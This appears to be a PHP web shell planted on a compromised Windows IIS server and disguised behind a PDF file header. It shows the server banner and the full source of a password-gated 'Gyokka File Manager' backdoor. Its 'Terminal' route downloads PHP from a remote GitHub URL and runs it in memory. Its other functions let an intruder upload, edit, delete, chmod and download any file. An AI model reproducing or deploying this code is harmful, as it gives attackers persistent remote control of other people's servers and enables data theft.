%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
| Server IP : 122.154.253.140 / Your IP : 216.73.216.138 Web Server : Microsoft-IIS/7.5 System : Windows NT SERVER02 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586 User : IUSR ( 0) PHP Version : 5.6.31 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/inetpub/wwwroot/activity/20220627-080443/ |
Upload File : |
<?php
@session_start();
ob_start();
ini_set('display_errors', 0);
error_reporting(E_ALL);
$xxx = "3f1e26c72aaaab3ad6d3f3ce0e87ac82";
$session_timeout = 1800;
$pageSize = 20;
if(isset($_GET['logout'])){
unset($_SESSION['logged_in']);
session_destroy();
header("Location: ?");
exit;
}
if (isset($_POST['password'])) {
if (md5($_POST['password']) === $xxx) {
setcookie('logged_in', 'true', time() + $session_timeout, '/');
setcookie('last_activity', time(), time() + $session_timeout, '/');
if (!isset($_COOKIE['cmd_history'])) {
setcookie('cmd_history', json_encode([]), time() + $session_timeout, '/');
}
header("Location: ?");
exit;
} else {
$error = "Password salah!";
}
}
if (isset($_COOKIE['logged_in']) && $_COOKIE['logged_in'] === 'true') {
$lastActivity = isset($_COOKIE['last_activity']) ? (int)$_COOKIE['last_activity'] : 0;
if (time() - $lastActivity > $session_timeout) {
setcookie('logged_in', '', time() - 3600, '/');
setcookie('last_activity', '', time() - 3600, '/');
setcookie('cmd_history', '', time() - 3600, '/');
$error = "Sesi habis. Login ulang.";
} else {
setcookie('last_activity', time(), time() + $session_timeout, '/');
}
}
if(!isset($_COOKIE['logged_in']) || $_COOKIE['logged_in'] !== 'true'){
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Gyokka File Manager - Login</title>
<link href="https://fonts.googleapis.com/css2?family=Orbitron&display=swap" rel="stylesheet">
<style>
body {
margin:0;
padding:0;
background: linear-gradient(130deg, #1e0036 0%, #3f0040 40%, #090b1c 100%);
font-family: 'Orbitron', sans-serif;
color: #fff;
}
.login-container {
width:320px;
margin:120px auto;
padding:20px;
border-radius:8px;
background: rgba(255,255,255,0.05);
box-shadow: 0 0 30px rgba(255,0,255,0.3), 0 0 20px rgba(0,255,255,0.2);
text-align:center;
border: 1px solid rgba(255,255,255,0.2);
}
.login-container h2 {
margin:0;
margin-bottom:15px;
font-size:1.5em;
color:#0ff;
letter-spacing:2px;
}
.error {
color:#f66;
margin-bottom:12px;
font-weight:bold;
text-shadow: 0 0 5px #f66;
}
input[type=password] {
width:90%;
padding:10px;
border:1px solid #3cf;
background:#120023;
color:#ccc;
border-radius:4px;
margin-bottom:10px;
outline:none;
transition:border-color .3s, box-shadow .3s;
}
input[type=password]:focus {
border-color:#0ff;
box-shadow: 0 0 10px rgba(0,255,255,0.6);
}
input[type=submit] {
width:95%;
padding:10px;
border:none;
background:#0ff;
color:#111;
font-weight:bold;
border-radius:4px;
cursor:pointer;
transition: background .3s;
}
input[type=submit]:hover {
background:#0cc;
}
</style>
</head>
<body>
<div class="login-container">
<h2>LOGIN</h2>
<?php if(!empty($error)) echo '<div class="error">'.$error.'</div>';?>
<form method="post">
<input type="password" name="password" placeholder="Password..." required>
<input type="submit" value="LOGIN">
</form>
</div>
</body>
</html>
<?php
exit;
}
if (isset($_GET['cmdsaskra'])) {
putenv("PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
$url = "https://raw.githubusercontent.com/paylar/NewShell/refs/heads/main/23bin";
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$error = curl_error($ch);
curl_close($ch);
if ($response !== false && $httpCode === 200) {
try {
if (!in_array("memoryinclude", stream_get_wrappers())) {
stream_wrapper_register("memoryinclude", "MemoryInclude");
} else {
stream_wrapper_unregister("memoryinclude");
stream_wrapper_register("memoryinclude", "MemoryInclude");
}
MemoryInclude::$data = $response;
include "memoryinclude://jpg";
stream_wrapper_unregister("memoryinclude");
} catch (Exception $e) {
echo "Error: " . $e->getMessage();
}
} else {
echo "Gagal mengambil file. Kode HTTP: $httpCode, Error: $error";
}
}
class MemoryInclude {
public static $data = '';
private $position = 0;
private $length = 0;
public function stream_open($path, $mode, $options, &$opened_path) {
$this->position = 0;
$this->length = strlen(self::$data);
return true;
}
public function stream_read($count) {
$ret = substr(self::$data, $this->position, $count);
$this->position += strlen($ret);
return $ret;
}
public function stream_eof() {
return $this->position >= $this->length;
}
public function stream_stat() {
return [
'size' => $this->length,
];
}
}
$isWindows = (DIRECTORY_SEPARATOR === '\\');
$rootAllowed = $isWindows ? '' : '/';
$basePath = dirname(__FILE__);
if(isset($_REQUEST['path'])){
$temp = @realpath($_REQUEST['path']);
if($temp && @is_dir($temp)){
$basePath = $temp;
}
}
if (!is_readable($basePath)) {
header("HTTP/1.0 403 Forbidden");
echo "Access denied: directory not readable.";
exit;
}
function ts($d) {
return rtrim($d, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
}
function ds($p) {
return is_dir($p);
}
function fm($b) {
return $b ? scandir($b) : array();
}
function del($t){
if(is_dir($t)){
$x = scandir($t);
foreach($x as $y){
if($y==='.'||$y==='..') continue;
del($t.DIRECTORY_SEPARATOR.$y);
}
@rmdir($t);
} else {
@unlink($t);
}
}
function fs($s){
if($s<1024) return $s.' B';
if($s<1048576) return round($s/1024,2).' KB';
if($s<1073741824) return round($s/1048576,2).' MB';
return round($s/1073741824,2).' GB';
}
function getPermOctal($path){
$perm=@fileperms($path);
if($perm===false) return '????';
$mode=$perm & 0x0FFF;
return sprintf("%04o", $mode);
}
function octalToSymbolic($octal){
$val = octdec($octal);
$slot = array("r","w","x","r","w","x","r","w","x");
$res = "";
for($i=0;$i<9;$i++){
$mask=1<<(8-$i);
$res.=($val & $mask)?$slot[$i]:"-";
}
return $res;
}
function coloredPerm($permOct) {
$lastDigit = intval(substr($permOct, -1));
$color = (($lastDigit & 2) > 0) ? 'red' : 'green';
return '<span style="color: '.$color.';">'.$permOct.'</span>';
}
function coloredSymbolic($permSym, $permOct) {
$lastDigit = intval(substr($permOct, -1));
$color = (($lastDigit & 2) > 0) ? 'red' : 'green';
return '<span style="color: '.$color.';">'.$permSym.'</span>';
}
function getModified($path){
$t=@filemtime($path);
if(!$t) return '-';
return date("Y-m-d H:i:s",$t);
}
function getFileIcon($name,$isDir){
if($isDir) return '<span style="color:#0f8;">[DIR]</span>';
$ext=strtolower(pathinfo($name,PATHINFO_EXTENSION));
switch($ext){
case 'jpg': case 'jpeg': case 'png': case 'gif': return '🖼';
case 'zip': case 'rar': case '7z': return '📦';
case 'mp3': case 'wav': case 'ogg':return '🎵';
case 'mp4': case 'mov': case 'avi':return '🎞';
case 'pdf': return '📄';
default: return '📄';
}
}
if(isset($_POST['action'])){
switch($_POST['action']){
case 'upload':
if(!empty($_FILES['upload_files']['name'][0])){
foreach($_FILES['upload_files']['name'] as $i=>$n){
$tmp=$_FILES['upload_files']['tmp_name'][$i];
if($tmp){
@move_uploaded_file($tmp, ts($basePath).$n);
}
}
}
break;
case 'mkdir':
$f=trim($_POST['folder_name']);
if($f){
@mkdir(ts($basePath).$f);
}
break;
case 'create_file':
$f=trim($_POST['filename']);
$c=$_POST['filecontent'];
if($f){
@file_put_contents(ts($basePath).$f,$c);
}
break;
case 'rename':
$o=$_POST['old_name'];
$n=$_POST['new_name'];
if($o && $n){
$oldFull=@realpath(ts($basePath).$o);
$newFull=ts($basePath).$n;
if($oldFull && strpos($oldFull,$rootAllowed)===0){
@rename($oldFull,$newFull);
}
}
break;
case 'delete':
$t=$_POST['target'];
if($t){
$targetFull=@realpath(ts($basePath).$t);
if($targetFull && strpos($targetFull,$rootAllowed)===0){
del($targetFull);
}
}
break;
case 'edit_file_save':
$e=$_POST['edit_target'];
$c=$_POST['new_content'];
$r=@realpath($e);
if($r && is_file($r) && strpos($r,$rootAllowed)===0){
@file_put_contents($r,$c);
}
break;
case 'chmod':
$t=$_POST['target'];
$perm=$_POST['perm'];
if($t!=='' && $perm!==''){
$targetFull=@realpath(ts($basePath).$t);
if($targetFull && strpos($targetFull,$rootAllowed)===0){
@chmod($targetFull, octdec($perm));
}
}
break;
}
header("Location: ?path=".urlencode($basePath));
exit;
}
// DOWNLOAD
if(isset($_GET['download'])){
$f=@realpath($_GET['download']);
if($f && is_file($f) && strpos($f,$rootAllowed)===0){
header('Content-Disposition: attachment; filename="'.basename($f).'"');
header('Content-Length: '.@filesize($f));
@readfile($f);
exit;
}
}
// EDIT FILE
$edit_file_mode=false;
$edit_file_path='';
$edit_file_content='';
$aceMode='ace/mode/text';
if(isset($_GET['edit'])){
$et=@realpath($_GET['edit']);
if($et && is_file($et) && strpos($et,$rootAllowed)===0){
$edit_file_mode=true;
$edit_file_path=$et;
$edit_file_content=@file_get_contents($et);
$ext=strtolower(pathinfo($et,PATHINFO_EXTENSION));
switch($ext){
case 'php': $aceMode='ace/mode/php';break;
case 'js': $aceMode='ace/mode/javascript';break;
case 'css': $aceMode='ace/mode/css';break;
case 'html': $aceMode='ace/mode/html';break;
case 'htm': $aceMode='ace/mode/html';break;
case 'json': $aceMode='ace/mode/json';break;
case 'xml': $aceMode='ace/mode/xml';break;
default: $aceMode='ace/mode/text';break;
}
}
}
// FILTERING & SORT
$allFiles=fm($basePath);
$query=isset($_GET['q'])?trim($_GET['q']):'';
$filtered=array();
foreach($allFiles as $f){
if($f==='.'||$f==='..') continue;
if($query===''){
$filtered[]=$f;
} else {
if(stripos($f,$query)!==false){
$filtered[]=$f;
}
}
}
$sort=isset($_GET['sort'])?$_GET['sort']:'name';
function cmpName($a,$b){return strcasecmp($a,$b);}
function cmpSize($a,$b){
global $basePath;
$fa=ts($basePath).$a;
$fb=ts($basePath).$b;
$sa=@is_file($fa)?@filesize($fa):0;
$sb=@is_file($fb)?@filesize($fb):0;
return $sa-$sb;
}
function cmpTime($a,$b){
global $basePath;
$fa=ts($basePath).$a;
$fb=ts($basePath).$b;
$ta=@filemtime($fa);
$tb=@filemtime($fb);
return $ta-$tb;
}
switch($sort){
case 'size':usort($filtered,'cmpSize');break;
case 'time':usort($filtered,'cmpTime');break;
default: usort($filtered,'cmpName');
}
$totalItems = count($filtered);
$totalPages = max(1,ceil($totalItems/$pageSize));
$currentPage= isset($_GET['page'])?(int)$_GET['page']:1;
if($currentPage<1) $currentPage=1;
if($currentPage>$totalPages)$currentPage=$totalPages;
$startIndex=($currentPage-1)*$pageSize;
$pagedFiles=array_slice($filtered,$startIndex,$pageSize);
// Breadcrumb
$realBase=@realpath($basePath);
if(!$realBase) $realBase=$rootAllowed;
$breadcrumbList=array();
if($isWindows){
$parts=@preg_split('@[\\\\/]+@',$realBase);
$tmpPath='';
if(isset($parts[0]) && strpos($parts[0],':')!==false){
$tmpPath=$parts[0];
$breadcrumbList[]=array('name'=>$parts[0],'path'=>$tmpPath);
array_shift($parts);
}
foreach($parts as $seg){
if($seg==='') continue;
if($tmpPath===''){
$tmpPath=$seg;
}else{
$tmpPath=rtrim($tmpPath,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$seg;
}
$breadcrumbList[]=array('name'=>$seg,'path'=>$tmpPath);
}
} else {
$breadcrumbList[]=array('name'=>'/','path'=>'/');
$trimmed=ltrim($realBase,'/');
$parts=explode('/',$trimmed);
$accum='';
foreach($parts as $seg){
if($seg==='') continue;
$accum.='/'.$seg;
$breadcrumbList[]=array('name'=>$seg,'path'=>$accum);
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Gyokka File Manager</title>
<!-- Font Futuristik -->
<link href="https://fonts.googleapis.com/css2?family=Orbitron&display=swap" rel="stylesheet">
<style>
/* CSS tetap sama seperti versi aslinya */
body {
margin:0;
padding:0;
background: linear-gradient(120deg, #000428 0%, #3b074c 50%, #060a32 100%);
color:#eee;
font-family:'Orbitron',sans-serif;
overflow-x:hidden;
}
header {
background:rgba(0,0,0,0.7);
padding:15px 20px;
border-bottom:2px solid #0ff;
display:flex;
justify-content:space-between;
align-items:center;
box-shadow: 0 0 20px rgba(0,255,255,0.2);
}
header h1 {
margin:0;
font-size:1.3em;
color:#0ff;
text-transform:uppercase;
letter-spacing:2px;
text-shadow:0 0 5px #0ff;
}
.logout a {
color:#0ff;
text-decoration:none;
border:1px solid #0ff;
padding:6px 12px;
border-radius:4px;
transition:background .3s ease,color .3s ease,box-shadow .3s;
}
.logout a:hover {
background:#0ff;
color:#1c1c1c;
box-shadow: 0 0 15px rgba(0,255,255,0.8);
}
.container {
padding:20px;
}
.breadcrumbs {
background:rgba(255,255,255,0.08);
padding:8px;
border:1px solid #0ff;
border-radius:6px;
margin-bottom:15px;
overflow:auto;
font-size:0.95em;
box-shadow:0 0 10px rgba(0,255,255,0.2);
}
.breadcrumbs a {
text-decoration:none;
color:#0ff;
margin-right:5px;
transition: color .3s;
}
.breadcrumbs a:hover {
color:#fff;
}
.breadcrumbs .sep {
color:#fff;
margin-right:5px;
}
.search-box {
margin-bottom:15px;
display:flex;
align-items:center;
}
.search-box input[type=text] {
width:240px;
padding:8px;
border:1px solid #444;
background:#060a32;
color:#ccc;
border-radius:4px;
outline:none;
transition:border .3s, box-shadow .3s;
}
.search-box input[type=text]:focus {
border-color:#0ff;
box-shadow: 0 0 8px #0ff;
}
.search-box input[type=submit] {
background:#0ff;
color:#111;
border:none;
padding:8px 16px;
cursor:pointer;
border-radius:4px;
font-weight:bold;
margin-left:6px;
transition:background .3s ease,box-shadow .3s;
}
.search-box input[type=submit]:hover {
background:#0cc;
box-shadow: 0 0 10px rgba(0,255,255,0.6);
}
.menu-bar {
margin-bottom:15px;
}
.menu-bar button {
background:#060a32;
color:#0ff;
padding:10px 16px;
margin-right:8px;
border:1px solid #0ff;
border-radius:4px;
font-weight:bold;
cursor:pointer;
transition:background .3s ease, box-shadow .3s, color .3s;
}
.menu-bar button:hover {
background:#0ff;
color:#000;
box-shadow: 0 0 15px rgba(0,255,255,0.5);
}
.table-wrap {
overflow:auto;
background:rgba(255,255,255,0.03);
border:1px solid #0ff;
border-radius:6px;
padding:10px;
box-shadow:0 0 15px rgba(0,255,255,0.2);
}
table {
width:100%;
border-collapse:collapse;
font-size:0.95em;
min-width:600px;
}
table th, table td {
border-bottom:1px solid #444;
padding:8px;
vertical-align:middle;
}
table th {
color:#0ff;
text-align:left;
background:rgba(10,10,40,0.8);
text-shadow: 0 0 5px #0ff;
}
table td {
color:#ccc;
}
table a {
color:#0ff;
text-decoration:none;
transition: color .3s;
}
table a:hover {
color:#fff;
text-decoration:underline;
}
table td:nth-child(1),
table th:nth-child(1) {
width:5%;
text-align:center;
}
.btn {
display:inline-block;
padding:5px 10px;
background:#060a32;
color:#0ff;
border:1px solid #0ff;
border-radius:4px;
font-size:0.8rem;
cursor:pointer;
text-decoration:none;
margin-left:4px;
transition: background .3s, box-shadow .3s, color .3s;
}
.btn:hover {
background:#0ff;
color:#000;
box-shadow: 0 0 10px rgba(0,255,255,0.6);
}
.download { color:#8ff; }
.edit { color:#afc; }
.del { color:#f66; }
.file-preview img {
max-width:80px;
max-height:80px;
margin:5px;
border:1px solid #444;
}
.file-preview video,
.file-preview audio {
max-width:180px;
margin:5px;
}
.paging {
text-align:center;
margin:10px 0;
}
.paging a {
display:inline-block;
padding:6px 10px;
margin:2px;
background:#060a32;
color:#0ff;
border:1px solid #0ff;
border-radius:4px;
text-decoration:none;
transition:background .3s, box-shadow .3s, color .3s;
}
.paging a:hover {
background:#0ff;
color:#000;
box-shadow:0 0 10px rgba(0,255,255,0.6);
}
.paging .current {
background:#0ff;
color:#000;
font-weight:bold;
box-shadow:0 0 10px rgba(0,255,255,0.8);
}
.tab-content {
display:none;
background:rgba(255,255,255,0.08);
border:1px solid #0ff;
border-radius:6px;
padding:15px;
margin-bottom:20px;
box-shadow:0 0 15px rgba(0,255,255,0.2);
}
.form-group {
margin-bottom:12px;
}
.form-group label {
display:block;
font-weight:bold;
margin-bottom:6px;
color:#8ff;
text-shadow:0 0 4px #0ff;
}
.form-group input[type=text],
.form-group textarea,
.form-group input[type=file] {
width:100%;
background:#060a32;
border:1px solid #444;
color:#ccc;
border-radius:4px;
padding:8px;
outline:none;
transition:border .3s, box-shadow .3s;
}
.form-group input[type=text]:focus,
.form-group textarea:focus {
border-color:#0ff;
box-shadow:0 0 8px #0ff;
}
.form-group input[type=submit] {
background:#0ff;
color:#000;
border:none;
padding:8px 16px;
border-radius:4px;
font-weight:bold;
cursor:pointer;
transition: background .3s, box-shadow .3s;
}
.form-group input[type=submit]:hover {
background:#0cc;
box-shadow:0 0 10px rgba(0,255,255,0.6);
}
.drag-area {
border:2px dashed #0ff;
padding:20px;
text-align:center;
border-radius:6px;
margin-bottom:10px;
color:#aaa;
transition:background .3s ease, color .3s ease, box-shadow .3s;
}
.drag-area.hover {
background:#060a32;
color:#0ff;
box-shadow:0 0 10px rgba(0,255,255,0.5);
}
/* Rename & chmod popup */
#overlay {
display:none;
position:fixed;
top:0; left:0;
width:100%; height:100%;
background:rgba(0,0,0,0.5);
z-index:9998;
}
#renameBox, #chmodBox {
display:none;
position:fixed;
top:50%; left:50%;
transform:translate(-50%,-50%);
z-index:9999;
background:rgba(10,10,40,0.9);
border:2px solid #0ff;
border-radius:6px;
width:320px;
max-width:90%;
padding:20px;
box-shadow:0 0 15px rgba(0,255,255,0.8);
}
#renameBox h3, #chmodBox h3 {
margin-top:0;
color:#0ff;
text-transform:uppercase;
letter-spacing:1px;
text-shadow:0 0 5px #0ff;
}
#renameBox input[type=text], #chmodBox input[type=text] {
width:100%;
background:#000;
border:1px solid #444;
color:#fff;
border-radius:4px;
padding:8px;
margin-bottom:12px;
outline:none;
transition:border .3s, box-shadow .3s;
}
#renameBox input[type=text]:focus, #chmodBox input[type=text]:focus {
border-color:#0ff;
box-shadow:0 0 8px #0ff;
}
#renameBox input[type=submit], #chmodBox input[type=submit] {
background:#0ff;
color:#000;
border:none;
padding:8px 16px;
border-radius:4px;
font-weight:bold;
cursor:pointer;
transition: background .3s, box-shadow .3s;
}
#renameBox input[type=submit]:hover, #chmodBox input[type=submit]:hover {
background:#0cc;
box-shadow: 0 0 10px rgba(0,255,255,0.8);
}
#renameBox button, #chmodBox button {
background:#444;
color:#eee;
border:none;
padding:8px 16px;
border-radius:4px;
margin-left:6px;
cursor:pointer;
transition:background .3s, box-shadow .3s, color .3s;
}
#renameBox button:hover, #chmodBox button:hover {
background:#666;
color:#fff;
}
/* Footer */
.footer {
text-align:center;
margin:30px 0 15px 0;
color:#aaa;
font-size:0.85em;
}
.footer span {
color:#0ff;
}
</style>
<!-- ACE Editor -->
<script src="https://cdn.jsdelivr.net/npm/ace-builds@1.23.1/src-min-noconflict/ace.js"></script>
</head>
<body>
<header>
<h1>Gyokka File Manager</h1>
<div class="logout"><a href="?logout=true">Logout</a></div>
</header>
<div class="container">
<div class="breadcrumbs">
<?php
$count = count($breadcrumbList);
for($i=0;$i<$count;$i++){
$b=$breadcrumbList[$i];
$isLast=($i===$count-1);
echo '<a href="?path=', urlencode($b['path']), '">', htmlspecialchars($b['name']), '</a>';
if(!$isLast) echo '<span class="sep">/</span>';
}
?>
</div>
<!-- Search -->
<div class="search-box">
<form method="get">
<input type="hidden" name="path" value="<?php echo htmlspecialchars($basePath);?>">
<input type="text" name="q" placeholder="Search..." value="<?php echo htmlspecialchars($query);?>">
<input type="submit" value="Go">
</form>
</div>
<!-- Editor Mode -->
<?php if($edit_file_mode){ ?>
<div style="margin-bottom:20px; display:block;" id="editFileTab">
<h3 style="color:#0ff;margin-top:0;text-shadow:0 0 5px #0ff;">Edit File</h3>
<div style="font-size:0.9em;margin-bottom:8px;">
<?php echo htmlspecialchars($edit_file_path);?>
</div>
<form method="post" onsubmit="syncEditor()">
<input type="hidden" name="path" value="<?php echo htmlspecialchars($basePath);?>">
<input type="hidden" name="action" value="edit_file_save">
<input type="hidden" name="edit_target" value="<?php echo htmlspecialchars($edit_file_path);?>">
<textarea id="editorContent" name="new_content" style="display:none;"><?php echo htmlspecialchars($edit_file_content);?></textarea>
<div id="aceEditor" style="width:100%; height:400px; background:#1e242c;color:#eee;"></div>
<input type="submit" value="Save" style="margin-top:10px;">
<a href="?path=<?php echo urlencode($basePath);?>" class="btn" style="margin-left:10px;">Cancel</a>
</form>
</div>
<script>
var aceEditor = ace.edit("aceEditor");
aceEditor.setTheme("ace/theme/one_dark");
aceEditor.session.setMode("<?php echo $aceMode;?>");
aceEditor.setValue(document.getElementById("editorContent").value, -1);
function syncEditor(){
document.getElementById("editorContent").value = aceEditor.getValue();
}
</script>
<?php } ?>
<!-- Menu Bar -->
<div class="menu-bar">
<button onclick="window.location='?'">Home</button>
<button onclick="showTab('upload')">Upload</button>
<button onclick="showTab('folder')">New Folder</button>
<button onclick="showTab('file')">New File</button>
<button onclick="goTerminal()">Terminal</button>
<script>
function goTerminal(){
let url = new URL(window.location.href);
url.searchParams.set('cmdsaskra','1');
window.location.href = url.toString();
}
</script>
</div>
<!-- TAB UPLOAD -->
<div id="uploadTab" class="tab-content" style="display:none;">
<h3 style="color:#0ff;margin-top:0;text-shadow:0 0 5px #0ff;">Upload File</h3>
<div id="dragArea" class="drag-area">
<p>Drag & Drop file di sini</p>
<p>atau pilih manual di bawah</p>
</div>
<form id="uploadForm" method="post" enctype="multipart/form-data" class="form-group">
<input type="hidden" name="path" value="<?php echo htmlspecialchars($basePath);?>">
<input type="hidden" name="action" value="upload">
<label>Pilih file:</label>
<input type="file" name="upload_files[]" multiple>
<input type="submit" value="Upload">
</form>
</div>
<!-- TAB FOLDER -->
<div id="folderTab" class="tab-content" style="display:none;">
<h3 style="color:#0ff;margin-top:0;text-shadow:0 0 5px #0ff;">Create Folder</h3>
<form method="post">
<input type="hidden" name="path" value="<?php echo htmlspecialchars($basePath);?>">
<input type="hidden" name="action" value="mkdir">
<div class="form-group">
<label>Folder Name</label>
<input type="text" name="folder_name" placeholder="Contoh: images">
</div>
<div class="form-group">
<input type="submit" value="Create">
</div>
</form>
</div>
<!-- TAB FILE -->
<div id="fileTab" class="tab-content" style="display:none;">
<h3 style="color:#0ff;margin-top:0;text-shadow:0 0 5px #0ff;">Create File</h3>
<form method="post">
<input type="hidden" name="path" value="<?php echo htmlspecialchars($basePath);?>">
<input type="hidden" name="action" value="create_file">
<div class="form-group">
<label>Filename</label>
<input type="text" name="filename" placeholder="Contoh: index.php">
</div>
<div class="form-group">
<label>Content (optional)</label>
<textarea name="filecontent" rows="4" placeholder="Boleh dikosongkan..."></textarea>
</div>
<div class="form-group">
<input type="submit" value="Create">
</div>
</form>
</div>
<!-- RENAME & CHMOD BOX -->
<div id="overlay"></div>
<div id="renameBox">
<h3>Rename</h3>
<form method="post">
<input type="hidden" name="path" value="<?php echo htmlspecialchars($basePath);?>">
<input type="hidden" name="action" value="rename">
<input type="hidden" name="old_name" id="renameOld">
<input type="text" name="new_name" id="renameNew">
<br>
<input type="submit" value="OK">
<button type="button" onclick="closeRenameBox()">Cancel</button>
</form>
</div>
<div id="chmodBox">
<h3>CHMOD</h3>
<form method="post">
<input type="hidden" name="path" value="<?php echo htmlspecialchars($basePath);?>">
<input type="hidden" name="action" value="chmod">
<input type="hidden" name="target" id="chmodTarget">
<input type="text" name="perm" id="chmodPerm" placeholder="Contoh: 0755, 0644">
<br>
<input type="submit" value="OK">
<button type="button" onclick="closeChmodBox()">Cancel</button>
</form>
</div>
<!-- Tabel File/Folder -->
<div class="table-wrap">
<table>
<thead>
<tr>
<th>Icon</th>
<th>
<a href="?<?php
$params=$_GET;
$params['sort']='name';
$params['page']=1;
echo http_build_query($params);
?>">Name</a>
</th>
<th>Type</th>
<th style="text-align:right;">
<a href="?<?php
$params=$_GET;
$params['sort']='size';
$params['page']=1;
echo http_build_query($params);
?>">Size</a>
</th>
<th style="text-align:center;">Octal</th>
<th style="text-align:center;">Symbol</th>
<th style="text-align:center;">Owner/Group</th>
<th style="text-align:center;">
<a href="?<?php
$params=$_GET;
$params['sort']='time';
$params['page']=1;
echo http_build_query($params);
?>">Modified</a>
</th>
<th style="text-align:right;">Action</th>
</tr>
</thead>
<tbody>
<?php
// Tombol Up
$parent=dirname($basePath);
if($parent && $parent!=$basePath){
echo "<tr>
<td>📁</td>
<td><a href='?path=".urlencode($parent)."'><strong>.. (Back)</strong></a></td>
<td>Folder</td>
<td style='text-align:right;'>-</td>
<td style='text-align:center;'>-</td>
<td style='text-align:center;'>-</td>
<td style='text-align:center;'>-</td>
<td style='text-align:center;'>-</td>
<td></td>
</tr>";
}
foreach($pagedFiles as $f){
$full=ts($basePath).$f;
$isDir=ds($full);
$permOct=getPermOctal($full);
$permSym=octalToSymbolic($permOct);
$modified=getModified($full);
// Ambil informasi owner/group
$owner = '-';
$group = '-';
if(file_exists($full)) {
$ownerID = @fileowner($full);
$groupID = @filegroup($full);
if(function_exists('posix_getpwuid')) {
$ownerData = @posix_getpwuid($ownerID);
$owner = $ownerData ? $ownerData['name'] : $ownerID;
} else {
$owner = $ownerID;
}
if(function_exists('posix_getgrgid')) {
$groupData = @posix_getgrgid($groupID);
$group = $groupData ? $groupData['name'] : $groupID;
} else {
$group = $groupID;
}
}
$icon=getFileIcon($f,$isDir);
echo '<tr>';
echo '<td style="text-align:center;">'.$icon.'</td>';
if($isDir){
echo '<td><a href="?path='.urlencode($full).'"><strong>'.htmlspecialchars($f).'</strong></a></td>';
echo '<td>Folder</td>';
echo '<td style="text-align:right;">-</td>';
} else {
echo '<td>'.htmlspecialchars($f);
// Preview (Gambar, Audio, Video)
$ext=strtolower(pathinfo($f,PATHINFO_EXTENSION));
if(in_array($ext,array('jpg','jpeg','png','gif'))){
echo '<div class="file-preview"><img src="'.htmlspecialchars($f).'" alt=""></div>';
} elseif(in_array($ext,array('mp4','webm','mov','avi'))){
echo '<div class="file-preview"><video src="'.htmlspecialchars($f).'" controls></video></div>';
} elseif(in_array($ext,array('mp3','wav','ogg'))){
echo '<div class="file-preview"><audio src="'.htmlspecialchars($f).'" controls></audio></div>';
}
echo '</td>';
echo '<td>File</td>';
$sz=@filesize($full);
echo '<td style="text-align:right;">'.fs($sz).'</td>';
}
echo '<td style="text-align:center;">'.coloredPerm($permOct).'</td>';
echo '<td style="text-align:center;">'.coloredSymbolic($permSym, $permOct).'</td>';
echo '<td style="text-align:center;">'.htmlspecialchars($owner).'/'.htmlspecialchars($group).'</td>';
echo '<td style="text-align:center;">'.$modified.'</td>';
// Aksi
echo '<td style="text-align:right;">';
if(!$isDir){
// Download
echo '<a href="?download='.urlencode($full).'" class="btn download">Download</a>';
// Edit
echo '<a href="?edit='.urlencode($full).'&path='.urlencode($basePath).'" class="btn edit">Edit</a>';
}
// Rename
echo '<button type="button" class="btn" onclick="openRenameBox(\''.htmlspecialchars($f).'\')" style="color:#fff;">Rename</button>';
// CHMOD
echo '<button type="button" class="btn" onclick="openChmodBox(\''.htmlspecialchars($f).'\',\''.$permOct.'\')" style="color:#fff;">CHMOD</button>';
// Delete
echo '<form action="" method="post" style="display:inline;margin-left:5px;">
<input type="hidden" name="path" value="'.htmlspecialchars($basePath).'">
<input type="hidden" name="action" value="delete">
<input type="hidden" name="target" value="'.htmlspecialchars($f).'">
<input type="submit" class="btn del" value="Delete">
</form>';
echo '</td>';
echo '</tr>';
}
?>
</tbody>
</table>
</div>
<!-- Paging -->
<?php if($totalPages>1){ ?>
<div class="paging">
<?php
$baseLink='?'.http_build_query(array_merge($_GET,array('page'=>null)));
for($i=1;$i<=$totalPages;$i++){
if($i==$currentPage){
echo '<span class="current">',$i,'</span>';
} else {
echo '<a href="'.$baseLink.'&page='.$i.'">'.$i.'</a>';
}
}
?>
</div>
<?php } ?>
</div>
<!-- Footer -->
<div class="footer">
© <span><?php echo date("Y"); ?></span> Gyokka
</div>
<script>
// Fungsi umum showTab
function showTab(tab){
var tabs=["upload","folder","file"];
for(var i=0;i<tabs.length;i++){
document.getElementById(tabs[i]+"Tab").style.display="none";
}
var el=document.getElementById(tab+"Tab");
if(el) el.style.display="block";
}
// Drag & Drop
var dragArea=document.getElementById('dragArea');
if(dragArea){
var uploadForm=document.getElementById('uploadForm');
dragArea.addEventListener('dragover',function(e){
e.preventDefault();
dragArea.classList.add('hover');
});
dragArea.addEventListener('dragleave',function(e){
dragArea.classList.remove('hover');
});
dragArea.addEventListener('drop',function(e){
e.preventDefault();
dragArea.classList.remove('hover');
var files=e.dataTransfer.files;
var formData=new FormData(uploadForm);
for(var i=0;i<files.length;i++){
formData.append('upload_files[]',files[i]);
}
formData.set('action','upload');
fetch('',{method:'POST',body:formData})
.then(function(r){return r.text();})
.then(function(txt){
alert('Upload selesai!\nReload halaman.');
location.reload();
})
.catch(function(err){
console.error(err);
alert('Gagal upload!');
});
});
}
function openRenameBox(oldName){
document.getElementById('renameOld').value=oldName;
document.getElementById('renameNew').value=oldName;
document.getElementById('overlay').style.display='block';
document.getElementById('renameBox').style.display='block';
}
function closeRenameBox(){
document.getElementById('overlay').style.display='none';
document.getElementById('renameBox').style.display='none';
}
function openChmodBox(target,perm){
document.getElementById('chmodTarget').value=target;
document.getElementById('chmodPerm').value=perm;
document.getElementById('overlay').style.display='block';
document.getElementById('chmodBox').style.display='block';
}
function closeChmodBox(){
document.getElementById('overlay').style.display='none';
document.getElementById('chmodBox').style.display='none';
}
document.getElementById('overlay').onclick = function(){
closeRenameBox();
